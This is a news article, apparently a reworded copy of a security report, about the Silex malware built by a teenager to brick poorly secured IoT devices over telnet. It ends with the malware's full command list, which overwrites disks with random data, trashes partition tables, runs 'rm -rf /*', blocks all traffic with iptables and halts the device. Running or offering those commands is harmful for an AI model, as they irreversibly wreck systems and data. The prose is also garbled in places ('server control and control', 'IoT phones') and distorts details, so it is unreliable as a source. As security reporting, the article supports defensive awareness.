A teen coder and his team created a new malware called Silex, which in a short time deliberately bricked IoT phones that were poorly protected by the thousands.
The assaults stopped when the server control and control (C2) was down by the designers around 4 PM Eastern Time. The malware will still operate its destruction routines on infected systems even without a C2 to send out directions.
Bricking equipment to demonstrate a point
Silex was developed by a group of three, according to NewSky’s safety investigator Ankit Anubhav, with the primary individual being a teenager from a European nation using the aliases ‘ Light The Leafon’ and’ Light The Sylveon.’ The other two participants are’ Alx’ and’ Skiddy.’
Light The Leafon is the writer of another bot called HITO, based on Mirai, another IoT malware. He quickly created abilities that enabled him to write his own botnet.
As for Silex’s purpose, only brick IoT devices are intended to avoid script kiddies from getting to them. Simply put, less qualified designers are fighting the malware author from compromising unprotected systems and using them to create cash.
When it runs, Silex displays the author’s message apologizing for the assault and explaining the reason behind it: two months ago, Anubhav spoke to Light about HITO and released the interview on his podcast. The writer said he was 14 years old during the interview.
The Akamai Security Intelligence Response Team (SIRT)’s Larry Cashdollar was the first to find Silex on Tuesday. By attempting default credentials over a telnet connection, the malware struck his honeypot.
The investigator suggests that by writing random data from’/dev / random’ to all the storage disks it discovers, Silex kills the system it infects.
“Examining binary samples collected from my honeypot, I see Silexbot calling fdisk -l which will list all disk partitions. Using that list, Silexbot then writes random data from /dev/random to any of the partitions it discovers,” Cashdollar writes in his analysis.
Oh, Silexbot also tries to trash the partition tables by setting the disk Cylinders/Heads/Sectors all to 1
fdisk -C 1 -H 1 -S 1 /dev/mtd0
fdisk -C 1 -H 1 -S 1 /dev/mtd1
fdisk -C 1 -H 1 -S 1 /dev/sda
fdisk -C 1 -H 1 -S 1 /dev/mtdblock0
— Larry W. Cashdollar (@_larry0) June 26, 2019
Silex then executes other damaging commands, deletes network settings, flushes iptables and adds a rule that all connections DROPS before rebooting the machine. At the end of the article there is a list of the harmful instructions that it executes to brick the IoT machine.
These instructions make the system affected inoperable, but by reinstalling the firmware they can still be recovered. This is, however, an operation that most consumers lack the expertise to execute, and their gadgets may end up in the garbage as they no longer seem to work.
Cashdollar examined binaries for ARM devices, but a Bash shell version was also accessible for download, so any architecture similar to UNIX could have been a destination.
So, Silex is targeting pretty much any UNIX like OS with default login credentials. Doesn’t matter if it’s an ARM-based DVR or an x64 bit system running Redhat Enterprise if your login is root:password it could wreck your system.
— Larry W. Cashdollar (@_larry0) June 25, 2019
Anubhav also noted that Silex had the same damaging conduct as Cashdollar on a honeypot he manages and saw.
The investigator informed BleepingComputer that with weak credentials or default passwords the attack was over telnet protected. When the link is established, “the bot downloads the binary and confirms the busybox shell.”
Too much heat makes Light divided
Anubhav talk to light today and the author of the malware said he never wanted the kind of attention he receives and he would leave the IoT community.
“I am leaving the community because I am getting more attention then I’d like, I never wanted this clout. I will keep coding and doing that but not go further in the IoT community,” Light told the security researcher.
Silex’s initial strategy was to expand the botnet by incorporating fresh compromise techniques, such as exploits for recognized vulnerabilities.
“busybox cat /dev/urandom >/dev/mtdblock0”
“busybox cat /dev/urandom >/dev/sda”
“busybox cat /dev/urandom >/dev/ram0”
“busybox cat /dev/urandom >/dev/mmc0”
“busybox cat /dev/urandom >/dev/mtdblock10”
“fdisk -C 1 -H 1 -S 1 /dev/mtd0”
“fdisk -C 1 -H 1 -S 1 /dev/mtd1”
“fdisk -C 1 -H 1 -S 1 /dev/sda”
“fdisk -C 1 -H 1 -S 1 /dev/mtdblock0”
cat /dev/urandom | mtd_write mtd0 – 0 32768
cat /dev/urandom | mtd_write mtd1 – 0 32768
busybox cat /dev/urandom >/dev/mtd0 &
busybox cat /dev/urandom >/dev/sda &
busybox cat /dev/urandom >/dev/mtd1 &
busybox cat /dev/urandom >/dev/mtdblock0 &
busybox cat /dev/urandom >/dev/mtdblock1 &
busybox cat /dev/urandom >/dev/mtdblock2 &
busybox cat /dev/urandom >/dev/mtdblock3 &
busybox route del default
cat /dev/urandom >/dev/mtdblock0 &
cat /dev/urandom >/dev/mtdblock1 &
cat /dev/urandom >/dev/mtdblock2 &
cat /dev/urandom >/dev/mtdblock3 &
cat /dev/urandom >/dev/mtdblock4 &
cat /dev/urandom >/dev/mtdblock5 &
cat /dev/urandom >/dev/mmcblk0 &
cat /dev/urandom >/dev/mmcblk0p9 &
cat /dev/urandom >/dev/mmcblk0p12 &
cat /dev/urandom >/dev/mmcblk0p13 &
cat /dev/urandom >/dev/root &
cat /dev/urandom >/dev/mmcblk0p8 &
cat /dev/urandom >/dev/mmcblk0p16 &
route del default
iproute del default
ip route del default
rm -rf /* 2>/dev/null & iptables -F
iptables -t nat -F
iptables -A INPUT -j DROP
iptables -A FORWARD -j DROP
halt -n -f